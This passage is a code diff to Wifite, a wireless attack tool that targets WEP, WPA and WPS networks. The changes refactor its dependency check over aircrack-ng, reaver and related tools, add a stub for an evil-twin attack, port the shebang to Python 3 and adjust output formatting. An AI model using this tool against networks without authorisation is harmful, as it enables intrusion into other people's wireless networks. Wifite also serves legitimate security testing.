                         self.err_msg = '\r{!} {R}Airodump exited unexpectedly (Code: %d){O} Command: {W}%s' % (airodump.pid.poll(), " ".join(airodump.pid.command))
                         raise KeyboardInterrupt
 
-                    try:
                     self.targets = airodump.get_targets()
-                    except Exception as e:
-                        break
 
                     if self.found_target():
                         # We found the target we want
                         return
 
+                    for target in self.targets:
+                        if target.bssid in airodump.decloaked_bssids:
+                            target.decloaked = True
+
                     self.print_targets()
 
                     target_count = len(self.targets)
@@ -61,11 +62,6 @@ class Scanner(object):
                     outline += " {G}%d{W} target(s)," % target_count
                     outline += " {G}%d{W} client(s)." % client_count
                     outline += " {O}Ctrl+C{W} when ready "
-                    decloaked = airodump.decloaked_targets
-                    if len(decloaked) > 0:
-                        outline += "(decloaked"
-                        outline += " {C}%d{W} ESSIDs:" % len(decloaked)
-                        outline += " {G}%s{W}) " % ", ".join([x.essid for x in decloaked])
                     Color.clear_entire_line()
                     Color.p(outline)
 

wifite/util/timer.py

@@ -24,6 +24,9 @@ class Timer(object):
     @staticmethod
     def secs_to_str(seconds):
         '''Human-readable seconds. 193 -> 3m13s'''
+        if seconds < 0:
+            return '-%ds' % seconds
+
         rem = int(seconds)
         hours = rem / 3600
         mins = (rem % 3600) / 60

wifite/wifite.py

@@ -1,10 +1,10 @@
-#!/usr/bin/python2.7
+#!/usr/bin/python3.7
 # -*- coding: utf-8 -*-
 
 try:
     from .config import Configuration
 except (ValueError, ImportError) as e:
-    raise Exception('You may need to run wifite from the root directory (which includes README.md)')
+    raise Exception('You may need to run wifite from the root directory (which includes README.md)', e)
 
 from .util.scanner import Scanner
 from .util.process import Process
@@ -31,10 +31,10 @@ class Wifite(object):
             Color.pl('{!} {O}re-run as: sudo ./Wifite.py{W}')
             Configuration.exit_gracefully(0)
 
-        self.dependency_check()
-
         Configuration.initialize(load_interface=False)
 
+        self.dependency_check()
+
         if Configuration.show_cracked:
             self.display_cracked()
 
@@ -43,33 +43,47 @@ class Wifite(object):
         elif Configuration.crack_handshake:
             CrackHandshake()
         else:
-            Configuration.get_interface()
+            Configuration.get_monitor_mode_interface()
             self.run()
 
+
     def dependency_check(self):
         ''' Check that required programs are installed '''
-        required_apps = ['airmon-ng', 'iwconfig', 'ifconfig', 'aircrack-ng', 'aireplay-ng', 'airodump-ng']
+        from .tools.airmon import Airmon
-        optional_apps = ['packetforge-ng', 'reaver', 'bully', 'cowpatty', 'pyrit', 'stdbuf', 'macchanger', 'tshark']
+        from .tools.airodump import Airodump
-        missing_required = False
+        from .tools.aircrack import Aircrack
-        missing_optional = False
+        from .tools.aireplay import Aireplay
+        from .tools.ifconfig import Ifconfig
+        from .tools.iwconfig import Iwconfig
+        from .tools.bully import Bully
+        from .tools.reaver import Reaver
+        from .tools.wash import Wash
+        from .tools.pyrit import Pyrit
+        from .tools.tshark import Tshark
+        from .tools.macchanger import Macchanger
 
-        for app in required_apps:
+        apps = [
-            if not Process.exists(app):
+                # Aircrack
-                missing_required = True
+                Airmon, Airodump, Aircrack, Aireplay,
-                Color.pl('{!} {R}error: required app {O}%s{R} was not found' % app)
+                # wireless/net tools
+                Iwconfig, Ifconfig,
+                # WPS
+                Reaver, Bully,
+                # Cracking/handshakes
+                Pyrit, Tshark,
+                # Misc
+                Macchanger
+            ]
 
-        for app in optional_apps:
+        missing_required = any([app.fails_dependency_check() for app in apps])
-            if not Process.exists(app):
-                missing_optional = True
-                Color.pl('{!} {O}warning: recommended app {R}%s{O} was not found' % app)
 
         if missing_required:
             Color.pl('{!} {R}required app(s) were not found, exiting.{W}')
             sys.exit(-1)
 
-        if missing_optional:
+        #if missing_optional:
-            Color.pl('{!} {O}recommended app(s) were not found')
+        #    Color.pl('{!} {O}recommended app(s) were not found')
-            Color.pl('{!} {O}wifite may not work as expected{W}')
+        #    Color.pl('{!} {O}wifite may not work as expected{W}')
 
     def display_cracked(self):
         ''' Show cracked targets from cracked.txt '''
@@ -134,9 +148,17 @@ class Wifite(object):
             Color.pl('\n{+} ({G}%d{W}/{G}%d{W})' % (idx, len(targets)) +
                      ' starting attacks against {C}%s{W} ({C}%s{W})'
                 % (t.bssid, t.essid if t.essid_known else "{O}ESSID unknown"))
-            if 'WEP' in t.encryption:
+
+            # TODO: Check if Eviltwin attack is selected.
+
+            if Configuration.use_eviltwin:
+                pass
+
+            elif 'WEP' in t.encryption:
                 attack = AttackWEP(t)
+
             elif 'WPA' in t.encryption:
+                # TODO: Move WPS+WPA decision to a combined attack
                 if t.wps:
                     attack = AttackWPS(t)
                     result = False
@@ -149,8 +171,8 @@ class Wifite(object):
                             from traceback import format_exc
                             Color.p('\n{!}    ')
                             err = format_exc().strip()
-                            err = err.replace('\n', '\n{!} {C}   ')
+                            err = err.replace('\n', '\n{W}{!} {W}   ')
-                            err = err.replace('  File', '{W}File')
+                            err = err.replace('  File', '{W}{D}File')
                             err = err.replace('  Exception: ', '{R}Exception: {O}')
                             Color.pl(err)
                     except KeyboardInterrupt:
@@ -181,8 +203,8 @@ class Wifite(object):
                     from traceback import format_exc
                     Color.p('\n{!}    ')
                     err = format_exc().strip()
-                    err = err.replace('\n', '\n{!} {C}   ')
+                    err = err.replace('\n', '\n{W}{!} {W}   ')
-                    err = err.replace('  File', '{W}File')
+                    err = err.replace('  File', '{W}{D}File')
                     err = err.replace('  Exception: ', '{R}Exception: {O}')
                     Color.pl(err)
             except KeyboardInterrupt:
@@ -243,8 +265,8 @@ def run():
             from traceback import format_exc
             Color.p('\n{!}    ')
             err = format_exc().strip()
-            err = err.replace('\n', '\n{!} {C}   ')
+            err = err.replace('\n', '\n{W}{!} {W}   ')
-            err = err.replace('  File', '{W}File')
+            err = err.replace('  File', '{W}{D}File')
             err = err.replace('  Exception: ', '{R}Exception: {O}')
             Color.pl(err)